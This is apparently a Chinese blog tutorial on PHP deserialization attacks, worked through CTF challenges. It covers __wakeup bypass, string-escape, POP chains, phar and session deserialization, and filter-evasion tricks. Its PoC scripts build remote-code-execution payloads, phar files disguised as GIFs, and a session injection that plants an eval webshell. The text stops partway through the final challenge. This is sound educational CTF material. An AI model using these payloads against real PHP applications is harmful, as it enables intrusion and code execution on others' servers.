首页 » 网站建设 » php截屏readfile技巧_PHP反序列化新手入门进修总结

php截屏readfile技巧_PHP反序列化新手入门进修总结

访客 2024-10-24 0

扫一扫用手机浏览

文章目录 [+]

PHP序列化:serialize()

序列化是将变量或工具转换成字符串的过程,用于存储或通报 PHP 的值的过程中,同时不丢失其类型和构造。

php截屏readfile技巧_PHP反序列化新手入门进修总结

而PHP反序列化:unserialize()

php截屏readfile技巧_PHP反序列化新手入门进修总结
(图片来自网络侵删)

反序列化是将字符串转换成变量或工具的过程

通过序列化与反序列化我们可以很方便的在PHP中进行工具的通报。
实质上反序列化是没有危害的。
但是如果用户对数据可控那就可以利用反序列化布局payload攻击。
这样说可能还不是很详细,举个列子比如你网购买一个架子,发货为节省本钱,是拆开给你发过去,到你手上,然后给你解释书让你组装,拆开给你这个过程可以说是序列化,你组装的过程便是反序列化

说这么多不如直接一点测试一下

php序列化的字母标识

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

N - NULL

测试一下

<?php class TEST{ public $test1="11"; private $test2="22"; protected $test3="33"; public function test4() { echo $this->test1; } } $a=new TEST(); echo serialize($a); //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" test3";s:2:"33";}

O代表类,然后后面4代表类名长度,接着双引号内是类名

然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}

protected 和private实在是有不可打印字符的,以是这里附上截图

从图中可以看到有几个不可打印字符,关于这个还有一些特殊的地方,和详细放在了后边写

有时候做题时为了防止传参中有啥意外,一样平常就会urlencode一下

什么是魔术方法?

做php反序列化的题总会碰着魔术方法

实在便是一种分外方法当对工具实行某些操作时会覆盖 PHP 的默认操作

举个例子如下,这里用常见的construct和destruct魔术方法,实在便是布局函数和析构函数

<?php class A{ public $a="这里是__construct"; public function __construct() { echo $this->a; } public function __destruct() { echo $this->a="这里是__destruct"; } } $a=new A();

//输出这里是construct这里是destruct

后边的题中也会给一些测试魔术方法的例子

想买给出魔术方法触发的情形,这对解题有很大帮助

__construct 当一个工具创建时被调用,

__destruct 当一个工具销毁时被调用,

__toString 当一个工具被当作一个字符串被调用。

__wakeup() 利用unserialize时触发

__sleep() 利用serialize时触发

__destruct() 工具被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态高下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上利用unset()时触发

__toString() 把类当作字符串利用时触发,返回值须要为字符串

__invoke() 当脚本考试测验将工具调用为函数时触发

光看还是理解不足,详细还得到亲自考试测验才可以,下面我做了一些CTF题,在此分享给大家。

【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

大略的反序列化题

题目来自[SWPUCTF 2021 新生赛]ez_unserialize

<?php error_reporting(0); show_source("cl45s.php"); class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p']; unserialize($p); ?>

在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法须要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag

php反序列化是可以掌握类方法的属性但不能改类方法的代码

于是我们直接变动就行,

<?php class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="admin"; $this->passwd = "ctf"; } } $a=new wllm(); echo urlencode(serialize($a)); ?>

然后传参就行了,一样平常这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

__wakeup绕过

这个实在是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

大略描述便是序列化字符串中表示工具属性个数的值大于真实的属性个数时会跳过__wakeup的实行

而魔术方法__wakeup实行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php class A{ public $a; public function __construct() { $this->a="触发__construct"; } public function __wakeup() { $this->a="触发__wakeup"; } public function __destruct() { echo $this->a; } } $a=new A(); echo serialize($a);

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把工具个数改为2

触发__construct,绕过了wakeup

[极客大寻衅 2019]PHP __wakeup()绕过

<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select);<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } }

看源码我们须要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们师长西席成一个工具,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name('admin','100'); //echo urlencode(serialize($a)); //echo serialize($a); $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"; var_dump(unserialize(urldecode($b)));

那么修正工具个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag

POC

<?php class Name{ private $username = 'admin'; private $password = '100'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new Name('admin','100'); echo urlencode(serialize($a)); //echo serialize($a); //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D ?>反序列化逃逸问题

逃逸问题的实质是改变序列化字符串的长度,导致反序列化漏洞

以是会有两种情形,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php highlight_file(__FILE__); class A { public $a; public $b; public $c; public function __construct() { $this->a=$_GET['a']; $this->b="noflag"; $this->c=$_GET['c']; } public function check() { if ($this->b==="123") { echo "flag{123dddd}"; } else if ($this->a==="test") { echo "give you flag"; } else { echo "no flag"; } } public function __destruct() { $this->check(); } } $a=new A(); $b=serialize($a); $c=str_replace("aa","b",$b); unserialize($c);

这里本地写一个测试大略利用下,学会这个逃逸思路即可

$b=serialize($a); echo $b; $c=str_replace("aa","b",$b); echo($c); //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

这里测试一下,很明显可以瞥见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相称于是从aaaa变成了bb";这样,相称于今后吞噬掉了两位,而这个题须要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始布局

然后打算要吞噬掉多少位

print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:')) print(36'aa') //35 //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35个长度,布局出来肯定超过十个了,以是s:1的1会变成十位数,多出一位,以是要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样布局出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))

刚好为72个,成功反序列化,得到flag

由短变长

题目来自ctfshowWEB262

index.php<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

很明显,要想得到flag要把token值变动为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被更换为loveU,四个字符被更换成五个字符,大略演示一下

<?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

可以很明显的看出来,s:8字符串该当是8个,更换后变为10个,由于有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

由于php在反序列化时,底层代码因此;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

假造的序列化字符串变成真的了,假造的序列化字符串长度为27,loveU比fuck多一位

那么须要27个fuck就行

payload

?f=1

&m=1

&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可 当然这个有非预期解,直接修正token值写到cookie里就行,不过关键是理解到反序列化字符串逃逸问题的思路

POP链布局

做这种题关键是php魔术方法,布局PHP先找到头部和尾部,头部便是用户可控的地方,也便是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>

POP链入手,先找关键代码,然后推断

须要admin为w44m,passwd为08067 才能得到flag

if($this->admin === 'w44m' && $this->passwd ==='08067'){

echo $flag;

创造可以利用$this->w00m->{$this->w22m}();

这个地方,修正w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个工具,会触发tostring方法

前面魔术方法提到

__toString 当一个工具被当作一个字符串被调用。
这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子布局为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,由于我们前面提到private和protected生产序列化有不可见字符

<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); echo urlencode( serialize($a)); ?>[NISACTF 2022]babyserialize

<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='abc'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>查看了一下提示创造什么也没有if(isset($_GET['ser'])){@unserialize($_GET['ser']);这是头部这是尾部public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}

从__invoke()这里开始触发

__invoke() 当脚本考试测验将工具调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的工具就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个工具被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){ $this->fun=$val[0]; }

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php class nisa { public $b=""; } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class test { public $a =""; public function __call($a,$b) { echo "call"; } } $a=new TianXiWei(); $a->ext=new test(); //echo urlencode(serialize($a)); echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;} //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,其余我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invokePOC<?php class NISA { public $fun = ""; public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过 } class TianXiWei{ public $ext; public $x; } class Ilovetxw{ public $huang; public $su; } class four{ public $a="TXW4EVER"; private $fun='abc'; } $a=new TianXiWei();//从这里下手触发__wakeup $a->ext=new Ilovetxw();//触发__call $a->ext->huang=new four();//触发__set $a->ext->huang->a=new Ilovetxw();//触发__tosrting $a->ext->huang->a->su=new NISA();//触发__invoke echo urlencode(serialize($a));

相信到这里,做这种题已经有一定思路了,不要焦急,找到方向,然后一步一步去布局

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php供应的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web做事器和命令走运行

把稳要将php.ini中的phar.readonly选项设置为Off,否则无法天生phar文件

phar文件的的构造

一个phar文件常日由四部分组成,

1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents:phar文件实质上是一种压缩文件,个中每个被压缩文件的权限、属性等信息都放在这部分。
这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手腕最核心的地方。

3. the file contents:被压缩文件的内容。
这里不是重点,内容不影响

4. [optional] a signature for verifying Phar integrity (phar file format only):署名,放在文件末端

<?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //署名自动打算 $phar->stopBuffering(); ?>

天生一个phar.phar文件

拉进010剖析

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据一定会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file<?php highlight_file(__FILE__); class Test {//自定义 public $name='phpinfo();'; } $phar=new phar('rce.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o=new Test(); $phar->setMetadata($o); $phar->addFromString("flag.txt","flag");//添加要压缩的文件 //署名自动打算 $phar->stopBuffering(); ?>

这里用file_get_contents测试下

<?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?>

漏洞利用条件

phar文件要能够上传到做事器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等分外字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上传,有文件上传头限定,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以天生一个phar.phar,修正后缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php class aa{ public $name; public function __construct(){ $this->name='aa'; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content="<?php @eval($_POST[1]);?>"; } public function __get($key){ $this->$key->{$this->func}($_POST['cmd']); } } class zz{ public $filename; public $content='surprise'; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){ die('这不合理'); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST['method']}($_POST['var']); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name='eval'; $this->arg='phpinfo();'; } public function __call($name,$arg){ $name($arg[0]); } }<?php error_reporting(0); $filename=$_POST['file']; if(!isset($filename)){ die(); } $file=new zz($filename); $contents=$file->getFile(); ?> <br> <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

布局链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以布局命令实行,以是要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之条件到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去布局method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,由于__get()触发须要,布局write函数进行访问content成员,不仅要用这个属性去new一个工具,还要对它进行访问

如下代码进行测试

<?php class test { private $a; public $b; public function __construct($a,$b) { $this->a="aaa"; $this->b="bbb"; } public function __get($name) { // TODO: Implement __get() method. $this->a="__get"; $this->b="111"; } public function __destruct() { echo $this->a; echo $this->b; } } $a =new test("s","s"); //echo $a->a; $b=serialize($a); unserialize($b);

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么布局POP链子

<?php class aa{ public $name; } class ff{ private $content; public $func; public function __construct(){ $this->content=new xx();//这里New xx } } class zz{ public $filename; public $content; } class xx { public $name; public $arg; } $a=new aa(); $c=new ff(); $a->name=new zz(); $c->func="system"; $a->name->filename=$c; $phar = new Phar("flag.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub //$o = new Test(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //署名自动打算 $phar->stopBuffering();

上传之后利用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与做事端会话时,用户的标识, PHP session 办理了这个问题,它通过在做事器上存储用户信息以便随后利用(比如用户名称、购买商品等)。
然而,会话信息是临时的,在用户离开网站后将被删除。
如果您须要永久存储信息,可以把数据存储在数据库中。

而session因此文件办法存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e

存在源码透露,访问www.zip,下载下来源码,关键代码

index.php源码

/ error_reporting(0); session_start(); //超过5次禁止上岸 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("上岸失落败次数超过限定"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>

check.php源码

<?php / # -- coding: utf-8 -- # @Author: h1xa # @Date: 2020-09-03 16:59:10 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:15:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com / error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+分外符号,防止爆破 ] ]); if($data['id']){ //上岸成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //上岸失落败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"上岸失落败")); } }inc.php中有一个这个ini_set('session.serialize_handler', 'php');而session存储格式(序列化)个中有这两种ini_set('session.serialize_handler', 'php');ini_set('session.serialize_handler', ' php_serialize ');

测试一下看这两个什么差异

<?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

两种办法的差异紧张是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "利用".$this->password."上岸".($this->status?"成功":"失落败")."----".date_create()->format('Y-m-d H:i:s')); } }function __destruct(){file_put_contents("log-".$this->username, "利用".$this->password."上岸".($this->status?"成功":"失落败")."----".date_create()->format('Y-m-d H:i:s'));}

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相称于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要布局出序列化字符串触发 User类 的 __destruct方法就可以了

<?php class User { public $username; public $password; function __construct($username, $password) { $this->username = $username; $this->password = $password; } } $a=new User('1.php','<?php eval($_POST["1"]);?>'); echo base64_encode("|".serialize($a));

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("上岸失落败次数超过限定"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则实行$SESSION['limit']=base64_decode($COOKIE['limit')

,由于有base64_decode,以是这里我们还有base64_encode一下

抓包改limit值

然后发包,接着访问check.php 实现反序列化shell的写入

然后变更要求方法,把稳直接右键选择变更POST要求

tricks总结16进制绕过字符过滤

//O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制php类名对大小写不敏感

ctfshowWEB266

<?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛非常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents('php://input');采取php伪协议传参

直接提交POST数据就行

<?php class cTfshow { } $a=new cTfshow(); echo (serialize($a));

+号绕过

ctfshowWEB258

<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); } 可见增加了过滤,过滤例如如下o:123:、c:456:s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,详细缘故原由是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="phpinfo();"; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); //echo urlencode(serialize($a)); $a=serialize($a); $a=preg_replace('/[oc]+:/i','O:+',$a); echo urlencode($a);

利用&使两值恒等

题目ctfshow web265

<?php error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }$ctfshow->login()这个成立才给flag$ctfshow->token=md5(mt_rand());但是这个是随机的

这个题稽核php按地址传参

<?php $a='11'; $b=&$a; $b=1; echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变革 //1

以是我们可以直接这样

<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->password = &$this->token; } } $a=new ctfshowAdmin(); echo ( urlencode(serialize($a)));php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

看着很多,实在没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以考试测验利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,以是看看read函数

